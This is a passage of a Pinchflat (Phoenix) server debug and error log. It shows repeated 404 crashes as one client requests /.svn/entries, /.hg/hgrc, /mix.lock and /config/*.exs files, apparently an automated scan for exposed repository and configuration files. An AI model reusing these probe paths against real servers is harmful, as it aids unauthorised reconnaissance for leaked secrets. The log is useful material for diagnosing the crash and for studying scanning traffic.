(PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/Procfile", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "fr-FR,fr;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"130\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"macOS\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mo (truncated) 04:52:50.865 [info] GET /.svn/entries 04:52:50.867 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=242.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.868 [debug] QUERY OK source="settings" db=0.7ms idle=243.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.868 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.869 [error] #PID<0.139031.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 8) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.svn/entries ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.svn/entries (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.svn/entries", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139031.0>, params: %{}, path_info: [".svn", "entries"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.svn/entries", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxSOZgtro47sADZxB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.svn/entries", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 8, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.svn/entries (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.svn/entries", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarde (truncated) 04:52:50.930 [info] GET /.hg/hgrc 04:52:50.931 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=201.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.932 [debug] QUERY OK source="settings" db=0.3ms idle=171.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:50.932 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:50.933 [error] #PID<0.139032.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 9) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /.hg/hgrc ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.hg/hgrc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hg/hgrc", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139032.0>, params: %{}, path_info: [".hg", "hgrc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.ocaff.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.hg/hgrc", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxSd0QQqxjyYADZxh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hg/hgrc", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.hg/hgrc (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.hg/hgrc", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.ocaff.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139032.0>, params: %{}, path_info: [".hg", "hgrc"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logg (truncated) 04:52:51.424 [info] GET /mix.lock 04:52:51.425 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=663.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.426 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=559.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.426 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:51.427 [error] #PID<0.139033.0> running PinchflatWeb.Endpoint (connection #PID<0.139005.0>, stream id 10) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /mix.lock ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mix (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.lock", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.139033.0>, params: %{}, path_info: ["mix"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "pinchflat.ocaff.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/mix.lock", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLXUxUTnGe2Zu0IADZyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.lock", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 10, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /mix (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.139005.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/mix.lock", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46200}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "pinchflat.ocaff.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec (truncated) 04:52:51.512 [info] GET /config/config.exs 04:52:51.512 [info] GET /mix.exs 04:52:51.512 [info] GET /config/dev.exs 04:52:51.512 [info] GET /config/runtime.exs 04:52:51.512 [info] GET /config/prod.exs 04:52:51.514 [debug] QUERY OK source="settings" db=1.0ms queue=0.2ms idle=644.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.514 [debug] QUERY OK source="settings" db=1.5ms idle=580.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.515 [debug] QUERY OK source="settings" db=1.9ms queue=0.1ms idle=581.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.515 [debug] QUERY OK source="settings" db=2.3ms queue=0.1ms idle=87.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.516 [debug] QUERY OK source="settings" db=2.4ms idle=86.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.516 [debug] QUERY OK source="settings" db=1.6ms queue=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.517 [debug] QUERY OK source="settings" db=2.3ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.517 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:51.517 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:51.517 [debug] QUERY OK source="settings" db=2.0ms queue=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.517 [debug] QUERY OK source="settings" db=1.2ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.517 [debug] QUERY OK source="settings" db=1.5ms queue=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:52:51.517 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:51.517 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:51.517 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 04:52:51.518 [error] #PID<0.139034.0> running PinchflatWeb.Endpoint (connection 